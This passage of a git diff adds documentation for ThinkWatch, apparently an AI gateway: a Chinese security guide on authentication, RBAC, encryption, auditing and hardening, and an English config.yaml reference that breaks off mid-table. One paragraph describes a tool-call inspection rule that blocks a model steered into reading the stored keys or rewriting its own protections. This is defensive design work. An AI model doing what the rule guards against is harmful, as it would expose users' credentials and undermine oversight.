值。如果密钥在该期间内未被使用,后台生命周期任务将自动禁用该密钥。 +- **自动禁用:** 超过不活跃超时的密钥会被软禁用(非删除),允许管理员在需要时重新启用。 +- **过期监控:** 使用 `GET /api/keys/expiring?days=N` 列出即将过期的密钥。 +- **团队验证:** API 密钥创建时会验证团队成员身份 -- 用户只能在其所属团队内创建密钥。 + +### 1.3 OIDC / SSO + +ThinkWatch 支持 OpenID Connect,用于与企业身份提供商(Entra ID、Okta、Keycloak、Auth0 等)进行单点登录。 + +**流程:授权码模式** + +1. 用户浏览器被导向 `GET /api/auth/sso/authorize`。 +2. 服务器生成加密随机的 `state` 和 `nonce`,将两者存储在 Redis 中(TTL 为 10 分钟),然后将浏览器重定向到 OIDC 提供商的授权端点。 +3. 认证后,身份提供商重定向回 `GET /api/auth/sso/callback?code=...&state=...`。 +4. 服务器验证 `state` 与 Redis 中的值(CSRF 防护),交换授权码获取令牌,验证 ID 令牌签名和 `nonce`,并配置或更新本地用户记录。 +5. ThinkWatch JWT 令牌返回给客户端。 + +**CSRF 防护:** `state` 参数是一个一次性随机值,存储在 Redis 中。在回调时被消费(删除),防止重放攻击。 + +### 1.4 网关双重认证 + +网关中间件按以下顺序尝试认证: + +1. 如果 `Authorization` 请求头包含以 `tw-` 开头的令牌,则将其作为 API 密钥验证。 +2. 否则,将其作为 JWT Bearer 令牌验证。 + +这允许编程客户端(API 密钥)和基于浏览器/控制台的用户(JWT)无缝访问网关。 + +--- + +## 2. 授权(RBAC) + +ThinkWatch 实现了基于角色的访问控制,包含五个系统角色。 + +### 2.1 角色层级 + +| 角色 | 描述 | +| --------- | ------------------------------------------------------------------ | +| `admin` | 完全系统访问权限。可以管理提供商、用户、MCP 服务器、设置,以及查看审计日志。| +| `operator`| 可以管理提供商和 MCP 服务器。不能管理用户或系统设置。 | +| `user` | 标准用户。可以创建/管理自己的 API 密钥、查看分析数据和使用网关。 | +| `viewer` | 只读访问。可以查看分析数据和模型,但不能创建密钥或修改任何内容。 | +| `service` | 机器对机器身份。仅通过 API 密钥访问网关;无控制台访问权限。 | + +### 2.2 访问控制矩阵 + +| 资源 | admin | operator | user | viewer | service | +| ----------------------- | ----- | -------- | ---- | ------ | ------- | +| Gateway(聊天、模型) | 是 | 是 | 是 | 是 | 是 | +| Gateway(MCP) | 是 | 是 | 是 | 是 | 是 | +| 自有 API 密钥(CRUD) | 是 | 是 | 是 | 否 | 否 | +| 分析(只读) | 是 | 是 | 是 | 是 | 否 | +| 提供商(CRUD) | 是 | 是 | 否 | 否 | 否 | +| MCP 服务器(CRUD) | 是 | 是 | 否 | 否 | 否 | +| 用户(CRUD) | 是 | 否 | 否 | 否 | 否 | +| 审计日志 | 是 | 否 | 否 | 否 | 否 | +| 系统设置 | 是 | 否 | 否 | 否 | 否 | + +### 2.3 中间件强制执行 + +- **`require_auth`** —— 从 `Authorization` 请求头中提取并验证 JWT。对未认证的请求返回 401 拒绝。 +- **`require_admin`** —— 在 `require_auth` 之后链式执行。检查 JWT 的 `role` 声明是否为 `admin`。对非管理员用户返回 403 拒绝。 +- **API 密钥中间件** —— 网关专用。验证 API 密钥哈希,检查过期状态,强制执行 `allowed_models`,并通过 Redis 应用速率限制。 + +### 2.4 MCP 工具级访问控制 + +MCP 工具可以在 API 密钥或用户级别进行限制。当 API 密钥设置了 `allowed_models` 时,MCP 工具调用也会受到管控:网关在将请求代理到上游 MCP 服务器之前,会检查调用方身份是否有权调用该特定工具。 + +--- + +## 3. 加密 + +### 3.1 静态加密 + +**提供商 API 密钥** + +提供商 API 密钥(上游 AI 服务如 OpenAI、Anthropic、Google、Azure OpenAI 和 AWS Bedrock 的凭证)在存储前进行加密: + +- 算法:AES-256-GCM +- Nonce:12 字节,密码学随机生成,每次加密操作独立生成 +- 密钥:从 `ENCRYPTION_KEY` 环境变量派生(32 字节十六进制字符串) +- 存储格式:`nonce || ciphertext || tag`(base64 编码) + +**AWS Bedrock 凭证** + +AWS Bedrock 凭证(以 `ACCESS_KEY_ID:SECRET_ACCESS_KEY` 格式存储)使用相同的 AES-256-GCM 方案进行静态加密。在请求时,凭证会被解密并通过官方 `aws-sigv4` Rust crate 用于 AWS SigV4 请求签名。签名过程在内存中执行,凭证不会以明文形式写入磁盘。 + +**MCP 服务器认证密钥** + +上游 MCP 服务器的认证凭证使用与提供商 API 密钥相同的 AES-256-GCM 方案。 + +### 3.2 密码哈希 + +用户密码使用 Argon2id 进行哈希,参数如下: + +| 参数 | 值 | +| --------------- | ----------- | +| 算法 | Argon2id | +| 内存开销 | 19 MiB | +| 时间开销 | 2 次迭代 | +| 并行度 | 1 | +| 盐值 | 16 字节,随机 | +| 输出哈希 | 32 字节 | + +Argon2id 是 OWASP 指南推荐的算法,同时提供对 GPU 攻击和侧信道攻击的抵抗能力。 + +### 密码复杂度 + +所有密码设置操作(注册、初始化向导、密码修改、管理员创建用户)均强制要求: +- 最少 8 个字符 +- 至少一个大写字母 (A-Z) +- 至少一个小写字母 (a-z) +- 至少一个数字 (0-9) + +### 3.3 API 密钥哈希 + +API 密钥在存储前使用 SHA-256 进行哈希。这是单向操作;无法从哈希值推导出原始密钥。原始密钥仅在创建时返回给用户一次。 + +### 3.4 传输加密 + +ThinkWatch 本身不终止 TLS。TLS 终止应由反向代理(Nginx、Caddy、Traefik、云负载均衡器)处理。详见第 6 节的加固清单。 + +--- + +## 4. 网络安全 + +### 4.1 双端口架构 + +ThinkWatch 将关注点分离到两个端口: + +| 端口 | 服务器 | 暴露范围 | +| ---- | ------- | -------------------------------------- | +| 3000 | Gateway | 用于应用/客户端访问 | +| 3001 | Console | 用于管理员/内部访问 | + +这种分离允许网络级隔离:网关端口可以暴露给应用流量,而控制台端口限制在 VPN 或内部网络中。 + +### 4.2 CORS + +跨域资源共享通过 `CORS_ORIGINS` 环境变量配置: + +- 接受逗号分隔的允许来源列表。 +- 允许凭证(`Access-Control-Allow-Credentials: true`)。 +- 仅将指定来源反映在 `Access-Control-Allow-Origin` 中。 +- 在开发环境中,通常允许 `http://localhost:5173`(Vite 开发服务器)。 +- 在生产环境中,限制为实际的控制台域名。 + +### 会话 IP 绑定 + +用户登录时,签名密钥与客户端 IP 地址绑定。后续请求中,签名验证中间件会检查请求 IP 是否与登录时存储的 IP 匹配。如果 IP 不同,请求将被拒绝(401 Unauthorized)。 + +此机制防止被窃取的签名密钥在不同网络中被使用。 + +### 4.3 安全响应头 + +所有响应中设置以下请求头: + +| 请求头 | 值 | 用途 | +| ------------------------- | ------------------ | ----------------------------------------- | +| `X-Content-Type-Options` | `nosniff` | 防止 MIME 类型嗅探 | +| `X-Frame-Options` | `DENY` | 通过 iframe 防止点击劫持 | + +**内容安全策略(仅控制台端口):** + +控制台端口(3001)包含 `Content-Security-Policy` 响应头,以缓解 XSS 和数据注入攻击。该策略将脚本来源、样式来源和连接端点限制为已知来源。 + +### 4.4 请求超时 + +| 服务器 | 超时时间 | 原因 | +| ------- | -------- | ------------------------------------------------ | +| Gateway | 120 秒 | LLM 补全(尤其是流式传输)可能较慢 | +| Console | 30 秒 | 管理操作应快速完成 | + +### 4.5 容器安全 + +生产 Docker 镜像使用 distroless 基础镜像: + +- 无 shell(`/bin/sh`、`/bin/bash`) +- 无包管理器 +- 无不必要的系统工具 +- 最小攻击面:仅包含编译后的 Rust 二进制文件及其运行时依赖 + +--- + +## 5. 审计跟踪 + +### 5.1 记录内容 + +每个与安全相关的操作都会生成审计条目: + +| 类别 | 记录的操作 | +| ---------------- | ---------------------------------------------------------- | +| 认证 | 登录成功、登录失败、注册、令牌刷新 | +| API 密钥 | 创建、撤销、使用(速率限制命中) | +| 提供商 | 创建、更新、删除 | +| MCP 服务器 | 创建、删除、工具发现 | +| 用户 | 创建、角色变更、删除 | +| 设置 | 任何配置变更 | + +### 5.2 审计条目 Schema + +每条审计日志条目包含: + +```json +{ + "id": "uuid", + "timestamp": "2026-03-28T09:15:00.000Z", + "user_id": "uuid", + "user_email": "admin@example.com", + "action": "provider.create", + "resource_type": "provider", + "resource_id": "uuid", + "details": {}, + "ip_address": "10.0.1.50", + "user_agent": "Mozilla/5.0..." +} +``` + +### 5.3 ClickHouse 集成 + +审计条目被插入到 ClickHouse 中,用于 SQL 查询和分析: + +- 数据库:可通过 `CLICKHOUSE_DB` 配置(默认:`think_watch`) +- 条目异步发送,以避免阻塞请求处理。 +- 控制台在 `/api/audit/logs` 提供搜索 UI,支持时间范围过滤和 SQL 查询。 + +### 5.4 日志转发 / SIEM 集成 + +对于企业环境,ThinkWatch 可以通过管理员 Web UI(管理 > 日志转发器)将审计日志转发到外部系统: + +- **支持的传输方式:** UDP Syslog、TCP Syslog (RFC 5424)、Kafka、HTTP Webhook +- **配置:** 通过数据库动态管理——无需重启 +- **格式:** Syslog 传输使用 RFC 5424 结构化数据: + +``` +<14>1 2026-03-28T09:15:00.000Z thinkwatch - - - [thinkwatch@0 action="provider.create" user="admin@example.com" resource_type="provider" resource_id="uuid"] Provider created: openai-prod +``` + +这允许与 SIEM 平台集成,如 Splunk、Elastic SIEM、Microsoft Sentinel 等。 + +--- + +## 6. 启动验证 + +ThinkWatch 在启动服务器前验证所有密钥和依赖。如果任何关键要求未满足,进程将以清晰的错误消息退出,而不是在降级状态下运行。 + +启动时验证的内容: +- `JWT_SECRET` 存在、至少 32 个字符,且通过熵检查 +- `ENCRYPTION_KEY` 存在且为有效的 64 字符十六进制字符串 +- PostgreSQL 可达并响应测试查询 +- Redis 可达并响应 PING +- OIDC 变量全部设置或全部未设置(不接受部分配置) +- ClickHouse 连通性(如已配置;记录警告但不阻止启动) + +--- + +## 7. 初始化端点安全 + +`POST /api/setup/initialize` 端点允许在无需认证的情况下创建首个管理员用户。为防止滥用: + +- **速率限制:** 该端点限制为每个 IP 地址每分钟 5 次请求。 +- **二次检查:** 在创建管理员用户前,端点会执行数据库查询以验证没有管理员用户存在。这防止了两个并发请求都创建管理员账户的竞态条件。 +- **使用后禁用:** 系统初始化后,该端点对所有后续调用返回 `400 Bad Request`,无论速率限制状态如何。 + +--- + +## 8. 软删除与数据保留 + +ThinkWatch 对关键资源使用软删除: + +| 资源 | 行为 | +| ------------ | --------------------------------------------------------------------------------- | +| 用户 | 设置 `deleted_at`;撤销所有会话;用户无法登录 | +| 提供商 | 设置 `deleted_at`;提供商的模型对新请求不可用 | +| API 密钥 | 设置 `deleted_at`;认证中间件立即拒绝该密钥 | + +**数据保留策略:** +- 软删除的记录在可配置的期间内保留(默认:30 天,由 `data_retention_days` 设置控制)。 +- 后台任务定期清除超过保留期的记录。 +- 通过 API 进行的账户删除始终是软删除操作:用户的会话被撤销,并标记 `deleted_at`。记录仅在保留期到期后才被永久移除。 + +--- + +## 9. 加固清单 + +在准备 ThinkWatch 的生产部署时,请使用此清单。 + +### 密钥与密码学 + +- [ ] 将 `JWT_SECRET` 设置为密码学随机值(最少 32 个字符,建议 64 个十六进制字符 / 256 位): + ```bash + openssl rand -hex 32 + ``` +- [ ] 将 `ENCRYPTION_KEY` 设置为随机的 32 字节十六进制字符串: + ```bash + openssl rand -hex 32 + ``` +- [ ] 定期轮换 `JWT_SECRET`(注意:轮换会使所有活跃令牌失效) +- [ ] 将所有密钥存储在专门的密钥管理器中(Vault、AWS Secrets Manager、K8s Secrets),而非明文 `.env` 文件 +- [ ] 验证启动验证无警告通过(检查日志中的熵检查结果) + +### 网络 + +- [ ] 将 `CORS_ORIGINS` 设置为实际的控制台域名(如 `https://console.example.com`) +- [ ] 将控制台(端口 3001)部署在 VPN 或企业防火墙后面;不要暴露给公共互联网 +- [ ] 在反向代理(Nginx、Caddy、Traefik 或云负载均衡器)上启用 TLS 终止 +- [ ] 在反向代理上配置 HSTS 响应头 +- [ ] 如果可能,将网关(端口 3000)访问限制为已知的 CIDR 范围 + +### 认证 + +- [ ] 配置 OIDC 以与企业身份提供商进行 SSO +- [ ] 在生产环境中禁用基于密码的注册(使用管理员配置的账户或 SSO) +- [ ] 如果启用了密码认证,强制执行强密码策略 +- [ ] 在登录端点上设置速率限制以缓解暴力攻击 + +### 数据库与基础设施 + +- [ ] 配置 PostgreSQL 要求 TLS(在 `DATABASE_URL` 中使用 `sslmode=require`) +- [ ] 启用 Redis 认证(`requirepass` 指令) +- [ ] 如果可用,使用 Redis TLS(`rediss://` 协议) +- [ ] 将 PostgreSQL 访问限制为仅 ThinkWatch 服务账户 +- [ ] 仅从特权 CI/CD 流水线运行数据库迁移,而非在运行时从应用程序执行 + +### API 密钥生命周期 + +- [ ] 为 API 密钥设置适当的 `inactivity_timeout_days` 以自动禁用未使用的密钥 +- [ ] 建立密钥轮换计划,使用 `POST /api/keys/{id}/rotate` 实现零停机轮换 +- [ ] 通过 `GET /api/keys/expiring?days=30` 定期审查即将过期的密钥 +- [ ] 配置 `data_retention_days` 以符合数据保留策略 + +### 审计与监控 + +- [ ] 为应用日志设置日志轮转 +- [ ] 验证 ClickHouse 审计表正在被填充 +- [ ] 如适用,通过管理 > 日志转发器配置日志转发到您的 SIEM +- [ ] 为 `auth.login_failed` 激增设置告警(可能的暴力攻击) +- [ ] 使用基础设施监控系统监控 `/api/health`、`/health/live` 和 `/health/ready` 端点 +- [ ] 配置 Prometheus 抓取网关端口(3000)的 `/metrics` 端点 +- [ ] 为 API 密钥不活跃和过期事件设置告警 + +### 容器与运行时 + +- [ ] 使用 distroless 生产镜像(无 shell、无包管理器) +- [ ] 以非 root 用户运行容器 +- [ ] 尽可能设置只读文件系统 +- [ ] 应用资源限制(CPU、内存)以防止失控进程 +- [ ] 在 CI/CD 中扫描容器镜像的 CVE + +### RBAC + +- [ ] 审查所有用户角色,确保最小权限分配 +- [ ] 定期审计管理员账户 +- [ ] 对机器对机器的集成使用 `service` 角色 +- [ ] 在 API 密钥上限制 `allowed_models`,仅包含每个使用者需要的模型 diff --git a/src/data/core-docs/config.md b/src/data/core-docs/config.md new file mode 100644 index 0000000..4320ddf --- /dev/null +++ b/src/data/core-docs/config.md @@ -0,0 +1,1473 @@ +# Configuration reference + +[中文](config.zh-CN.md) + +ThinkWatch Core reads one file, `config.yaml`. This page describes every +field in it: what it does, its default, the values it takes, and how a +change reaches the running process. To run core on a server and control it +from the desktop app, see [Running core on a server](server.md). + +The field tables on this page are generated from the code, and a test fails +when they disagree, so a field listed here is a field the binary reads. + +## Where the file is + +| Platform | Default location | +|---|---| +| macOS, Linux | `~/.thinkwatch/config.yaml` | +| Windows | `%APPDATA%\ThinkWatch\config.yaml` | + +`THINKWATCH_HOME` replaces the directory, and `--config ` names the +file for a single command. The directory holds everything else core keeps +as well: the request database (`data.db`), the configuration history +(`history/`), the downloaded price table (`model_prices.json`) and the local +control socket (`twcore.sock`; on Windows a loopback port recorded in +`control.port`). The directory is private to its owner (`0700`), the file is +`0600`: it holds keys in plain text. + +These permissions are the file's only protection on this machine. They keep +out other users, not programs running as the same user: such a program can +read every key in the file, and with the control key it holds, change the +configuration through the control plane. Outbound redaction does not change +that; it protects what a request carries off the machine, not what is on disk. +The control key is masked where the configuration is shown so that a write +through the control plane cannot change it +([`listen.control`](#cfg-listen-control)), not to keep it from local +programs; upstream and gateway keys are shown as written. + +Tool-call inspection has a built-in rule for this directory, +`thinkwatch-data`. A tool call whose path or command points into one of the +default locations above, or into `/var/lib/thinkwatch` or `/etc/thinkwatch` +on a server, is recorded, and under `enforce` the response is cut off, so a +model cannot be steered into reading these keys or rewriting its own +protections. Mentioning the path, as in a document being edited, does not +count. With `THINKWATCH_HOME` elsewhere, a custom rule in +[`security.inspect_tools`](#cfg-security-inspect_tools) can cover that path. + +`twcore serve` writes a starting configuration when there is none, and +`twcore init` writes one on request. Both produce this: + +```yaml +version: 1 +listen: + control: + key: 6629…753d # generated +clients: + - name: default + key: tw-… # generated +``` + +That is a complete, valid configuration. It has no upstream yet, so the +control plane runs and requests are answered with an error saying so. +Adding one upstream makes it forward: + +```yaml +providers: + - name: anthropic + base_url: https://api.anthropic.com + key: ${ANTHROPIC_API_KEY} +``` + +## How the file is read + +- **A field name that is not in this reference is an error.** A misspelled + `prot:` is not ignored while the gateway quietly starts on the default + port; the whole file is refused and the message names the field. +- **Defaults are not written into the file.** Anything left out has the + default in the tables below. The app and the command line add a field + only when its value differs from the default, so what is in the file is + what someone chose. +- **`${VAR}` reads an environment variable** in fields marked "`${VAR}` + allowed": upstream keys, header values, proxy passwords. It is read from + the environment of the core process when a request is sent; an unset + variable fails that upstream's requests and names the variable. Under + systemd, that environment is the unit's `EnvironmentFile`. +- **Names are references.** Rules, groups and keys refer to upstreams, + groups, routes and price sheets by name. A name that points nowhere is an + error at load time rather than a rule that never matches. Renaming in the + app changes every reference in the same write. Names starting with `__` + are reserved for built-ins. +- **`version`** is the format version, `1`. A file with a higher version was + written by a newer twcore and is refused. + +## How a change takes effect + +There are three ways to change the configuration, and they all go through +the same path: the desktop app, `twcore config …`, and editing the file +in an editor. Core watches the file and reloads it within a second of a +save; nothing needs to be restarted. + +A new version is applied only if it passes every stage: + +1. It parses as YAML. +2. It matches the schema: known fields, the right types. +3. It is consistent: names are unique, references resolve, patterns + compile, CIDR ranges are well formed. +4. The runtime objects can be built from it. + +If any stage fails, **the previous configuration stays in service**, and the +error says which stage failed and where. A typo never takes the gateway +down. The desktop app shows the rejection until a valid version is saved. + +Changes to `listen.gateway` apply live as well: core opens the new +listener, and if it cannot (the port is taken) it keeps the old one and +reports why. Retention changes are applied on the next hourly clean-up. + +When two writers edit at once (the app and a hand edit), the second write +is refused with a version mismatch instead of overwriting the first. + +### History and rollback + +Every version that was in effect is kept in `history/` beside the file, +with where it came from (the app, the command line, an outside edit, a +rollback, a credential rotation). The last 50 are kept. + +```sh +twcore check # validate the file without starting anything +twcore config show # print it, with its version +twcore config history # list the versions, newest first +twcore config rollback 3f9a2c # go back to a version (a prefix is enough) +twcore config set /listen/gateway/port 8790 --int +``` + +These commands work on the file directly, so they work when core is not +running, which is when a rollback is most needed. A running core picks +their changes up like any other save. + +`twcore config set ` changes one value that is already written +in the file. The path names list items by their `name` +(`/providers/anthropic/base_url`); a number is an index (`/routes/0/rules/1/to`). +The value is a string unless `--int`, `--bool` or `--null` says otherwise. +The result is validated before it is written. To add a field that is not in +the file yet, edit the file. + +### Credentials the gateway writes back + +One write is not made by a person. When an upstream's OAuth token endpoint +issues a new refresh token, the old one stops working, so the gateway +writes the new token (and the access token with its expiry) back into +`providers[].oauth`. Only those values change; comments and layout are left +as they are. + +## Reference + +Each table lists every field of one section. "—" in the Default column means +the field is simply absent unless written; the description says what that +means. + +### Top level + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `version` | integer | **required** | Format version of this file. The only version is `1`. A file with a higher number was written by a newer twcore and is refused rather than half-understood. | +| `listen` | object, [`listen`](#cfg-listen) | — | Where the gateway and the control channel listen. | +| `clients` | list of [`clients[]`](#cfg-clients) | `[]` | Gateway keys. At least one is required; `twcore init` and the first `twcore serve` write one named `default`. | +| `providers` | list of [`providers[]`](#cfg-providers) | `[]` | Upstreams. None is a valid configuration: the control plane runs and requests are answered with an error saying no upstream is configured. | +| `proxies` | list of [`proxies[]`](#cfg-proxies) | `[]` | Outbound proxies, declared once and referred to by name from `providers[].proxy`. | +| `pricing` | object, [`pricing`](#cfg-pricing) | — | Refreshing the default price table, and price sheets of your own. | +| `client_probes` | object, [`client_probes`](#cfg-client_probes) | — | What happens to the helper requests clients send on their own (health checks, warm-ups, titles). | +| `security` | object, [`security`](#cfg-security) | — | The three guards. All of them start in `observe`, so out of the box nothing is changed or refused. | +| `retention` | object, [`retention`](#cfg-retention) | — | How long request logs are kept. | +| `failover` | object, [`failover`](#cfg-failover) | — | How long an upstream is set aside after it fails, and how long the start of a stream is awaited. | +| `aliases` | map of alias → string or list of strings | `{}` | Model aliases: one name for the same model across upstreams, mapped to the name each upstream uses, in order. A request for an alias goes to any upstream offering one of the listed names, under the first of them it offers. An alias cannot list another alias. | +| `groups` | list of [`groups[]`](#cfg-groups) | `[]` | Strategy groups: several upstreams behind one name, with a way to pick among them. | +| `routes` | list of [`routes[]`](#cfg-routes) | `[]` | Routes. Without any, requests fail over across all upstreams in the order they are declared. | +| `default_route` | string | — | The route for keys that do not name one. Unset: the route named `default`, or the built-in failover when there is none. | +| `default_key` | string | — | The gateway key for clients that were not given a key of their own. Unset: the key named `default`, or the first key. It cannot be disabled. | +| `plugins` | list of [`plugins[]`](#cfg-plugins) | `[]` | Script plugins, in the order they run. The app installs them; each one's code and settings are a file next to this one. | + + +### `listen` + +Where core accepts connections. There are two kinds: the AI gateway that +clients send requests to, and the control channel the desktop app and +`twcore` commands use. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `gateway` | object, [`listen.gateway`](#cfg-listen-gateway) | — | The AI gateway: the address clients send requests to. | +| `control` | object, [`listen.control`](#cfg-listen-control) | — | The control channel: how the desktop app and `twcore` commands reach core. It holds the control key, so every configuration has it. | + + +#### `listen.gateway` + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `bind` | `loopback` \| `all` \| interface name \| IP address | `loopback` | `loopback` is this machine only; `all` is every interface; an interface name (`en0`, `eth0`) is looked up again every few seconds and follows address changes, and while the interface is not there the gateway listens on 127.0.0.1 only and adds it once it appears; a fixed IP address stops working when the address changes. Binding one interface also listens on 127.0.0.1. | +| `port` | integer | `8788` | TCP port of the gateway. | +| `allow_from` | list of strings | `[10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7]` | Sources other than this machine that may connect, as CIDR ranges or single addresses. This machine is always allowed. `[]` means this machine only; `0.0.0.0/0` allows everyone and has to be written out. | + + +When `bind` reaches beyond this machine, `allow_from` decides who gets in. +The gateway has no TLS: expose it on networks you trust, or put it behind a +tunnel or VPN. + +```yaml +listen: + gateway: + bind: all + port: 8788 + allow_from: [192.168.1.0/24] +``` + +#### `listen.control` + +The control channel is how the desktop app, and `twcore config` and +`twcore control-key` on the same machine, talk to core. Locally it is a +socket file in the data directory (a loopback port on Windows); no network +port is opened for it unless `remote` is enabled. + +Every control connection, local or remote, starts with a handshake that +proves both ends hold `key` +(`Noise_NNpsk0_25519_ChaChaPoly_BLAKE2s`: the key is the pre-shared key, +each connection negotiates fresh session keys, and the traffic is +encrypted). There are no certificates. A peer without the key cannot +complete the first message. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `key` | string | generated | The control key: 64 hexadecimal characters (32 bytes). Every control connection, local or remote, proves it knows this key. `twcore serve` writes one before listening if it is missing; a configuration where it is malformed is refused. Show it with `twcore control-key`, replace it with `twcore control-key --rotate`. | +| `remote` | object, [`listen.control.remote`](#cfg-listen-control-remote) | — | A network port for the desktop app on another machine. Additional to the local channel, never instead of it. | + + +`key` is written by `twcore serve` before the control channel starts +listening, if it is missing, and by `twcore init`. It is masked wherever the +configuration is shown or kept in the history; saving a masked value back +keeps the real one. A missing or malformed key (not 64 hexadecimal +characters) makes the whole file invalid, so it cannot be replaced by a +short, guessable one. + +```sh +twcore control-key # print the key, to paste into the desktop app +twcore control-key --rotate # replace it; connected apps have to reconnect +``` + +Both run on the machine where core runs. + +#### `listen.control.remote` + +A network port for a desktop app on another machine. It is opened in +addition to the local channel, so a mistake here (a port that is taken, an +`allow_from` that shuts you out) never locks out the machine itself: +`twcore config` and the local app keep working. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `enabled` | bool | `false` | Listen on the remote port. Unset or `false`: no network port is opened for control. `twcore remote enable` and `twcore remote disable` switch it; a running core follows within a second. | +| `bind` | `loopback` \| `all` \| interface name \| IP address | `all` | Interface to listen on, written as for `listen.gateway.bind`. | +| `port` | integer | **required** | TCP port. There is no fixed default: `twcore init` and `twcore remote enable` write a random port between 20000 and 32000 (never the gateway's) when they write this section. It cannot be 0 or the gateway's port. | +| `allow_from` | list of strings | `[10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7]` | Sources that may connect, as for `listen.gateway.allow_from`, except that this machine is not let in automatically (it has the local channel). A connection from anywhere else is closed before the handshake, without a byte in reply; narrowing the list also closes open connections it no longer allows. A source that fails the handshake 5 times within a minute is ignored for a minute. | + + +```yaml +listen: + control: + key: 9f2c…e41a # 64 hexadecimal characters + remote: + enabled: true + bind: all + port: 23483 # random, written when the section is generated + allow_from: [192.168.1.0/24] +``` + +A connection over the remote port cannot do three things, whatever the app +asks: shut core down (it is managed by systemd), change `listen.control` +(the door it came in through), or produce a diagnostic bundle (it would be +written on the server). Handshakes time out after 5 seconds; five failed +handshakes from one source within a minute block that source for a minute. + +### `clients` + +Gateway keys: the keys clients such as Claude Code and Codex send to the +gateway. A key is an identity. Limits, model scope and route are per key. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | Name of the key; unique. Routing rules match it with `when.client`. | +| `key` | string | **required** | The key clients send (as `x-api-key` or `Authorization: Bearer`). Generated keys start with `tw-` so they are not mistaken for an upstream's key. Unique. | +| `max_concurrent` | integer | — | Requests with this key that may run at once; the rest wait. Unset: no limit. `0` is refused. | +| `allow` | list of strings | — | Models this key may use, as model ids or globs (`claude-*`). An upstream model name also allows the aliases that list it; an alias allows only the alias. Unset: every model. `[]`: none at all. | +| `route` | string | — | Name of the route requests with this key take. Unset: `default_route`. | +| `client` | string | — | The client this key was made for (`claude-code`, `codex`, …), recorded when the desktop app points a client at the gateway. A client has at most one. | +| `disabled` | bool | `false` | Refuse every request made with this key, and keep the key. | +| `limits` | list of [`clients[].limits[]`](#cfg-clients-limits) | — | Usage limits: requests, tokens or cost per minute, hour, day, week or month. A request has to pass every one. Unset: no limit. | + + +```yaml +clients: + - name: default + key: tw-a3f9c8d1e5b2h7k4m6n8p2q4 + - name: build-server + key: tw-q8r2s4t6u8v2w4x6y8z2a4b6 + max_concurrent: 4 + allow: [claude-sonnet-*] + route: cheap +``` + +#### `clients[].limits` + +Usage limits for a key: at most so many requests, tokens or dollars per +minute, hour, day, week or month. Each entry counts one of the three; a key +can have several, and a request has to pass every one. + +`minute` and `hour` are rolling: the last 60 seconds, the last 60 minutes. +When one is used up, a request waits for the next free slot if it frees +within `failover.slot_wait_secs` (30 seconds by default), and is refused +otherwise. Any later wait for a busy upstream comes out of the same time. +`day`, `week` and `month` follow the calendar in the time zone of the machine +twcore runs on and start again at midnight, on Monday and on the 1st. When one is used up, requests are refused until it starts again. If the +machine's time zone changes, the current day, week and month are added up +again from the request records. + +A refused request gets HTTP 429 in the client's own error format, naming the +key, the limit, the amount used and when it resets, and it shows in the +traffic list. A request that never reaches an upstream counts toward no +limit: one refused by a rule, the content filter or a limit, or turned away +because every upstream was at its `max_concurrent`. Cost is what is recorded +for each request, so a model without a price and an upstream with +`billing: free` count as $0. A request still +running counts with an estimate of its input until it is recorded. After a +restart, the day, week and month are added up again from the request records, +so the records have to cover the period: `retention.row_days` of at least 1 +for a daily limit, 7 for a weekly one and 31 for a monthly one. Minute and +hour limits start empty. + +On a Responses WebSocket connection, each `response.create` is a request of +its own: it is recorded with its usage and cost and checked against these +limits, and a refused one is answered with `response.failed` while the +connection stays open. A Realtime connection (`/v1/realtime`) is one request: +it is checked against the limits when it opens, and the tokens and cost of +all its answers count when it closes. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `per` | `minute` \| `hour` \| `day` \| `week` \| `month` | **required** | The period. `minute` and `hour` are rolling (the last 60 seconds, the last 60 minutes); `day`, `week` and `month` start again at local midnight, on Monday and on the 1st. | +| `requests` | integer | — | At most this many requests. Token counts, answers the gateway gives itself and requests that never reach an upstream do not count. | +| `tokens` | integer | — | At most this many tokens: uncached input, cache writes and output. | +| `cost` | number | — | At most this much, in US dollars, as recorded for each request; at least 0.01. Models without a price and upstreams with `billing: free` count as 0. | +| `cache_reads` | bool | `false` | Count cache reads too. Only for a `tokens` limit. | + + +```yaml +clients: + - name: build-server + key: tw-q8r2s4t6u8v2w4x6y8z2a4b6 + limits: + - { per: minute, requests: 30 } + - { per: day, cost: 5 } + - { per: month, tokens: 20000000, cache_reads: true } +``` + +### `providers` + +Upstreams: the APIs requests are forwarded to. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | Name of the upstream; unique, and not the name of a group. Names starting with `__` are reserved. | +| `base_url` | string | **required** | Endpoint, `http://` or `https://`, up to the version segment where the provider documents one (`https://api.anthropic.com`, `https://api.openai.com/v1`). For Bedrock, the region's runtime endpoint: `https://bedrock-runtime..amazonaws.com`. | +| `key` | string, `${VAR}` allowed | — | API key. It goes in the header the protocol expects: `x-api-key` (Anthropic), `Authorization: Bearer` (OpenAI, and a Bedrock API key), `x-goog-api-key` (Gemini). Leave it out for upstreams without a key, or when the credential is written in `headers`. Cannot be combined with `oauth` or `aws`. | +| `headers` | map of header name → value | `{}` | Additional request headers, in the order written; values may use `${VAR}`, and `{{access_token}}` where `oauth` is set. At most 32. Headers HTTP or the gateway manages (`host`, `content-length`, `connection`, …) cannot be set. | +| `oauth` | object, [`providers[].oauth`](#cfg-providers-oauth) | — | OAuth credential: an access token obtained from a refresh token. Instead of `key`. | +| `aws` | object, [`providers[].aws`](#cfg-providers-aws) | — | AWS access keys of a Bedrock upstream, written there or read from an AWS profile: every request is signed with them (SigV4). Instead of `key`, which holds a Bedrock API key. | +| `protocol` | `anthropic` \| `openai-chat` \| `openai-responses` \| `gemini` \| `chatgpt` \| `bedrock` | — | API format of the upstream. Unset: recognized from `base_url` for the official endpoints (a Bedrock runtime endpoint is `bedrock`), otherwise treated as `anthropic`. | +| `forward_client_identity` | bool | `false` | Also send the client's own identity: its `User-Agent`, identity headers such as `x-app` and `originator`, and identity fields in the request body such as `metadata.user_id`. Values are the client's, never made up. Off: requests carry ThinkWatch's `User-Agent` and no client identity. For upstreams that admit only certain clients (Kimi For Coding, Bailian 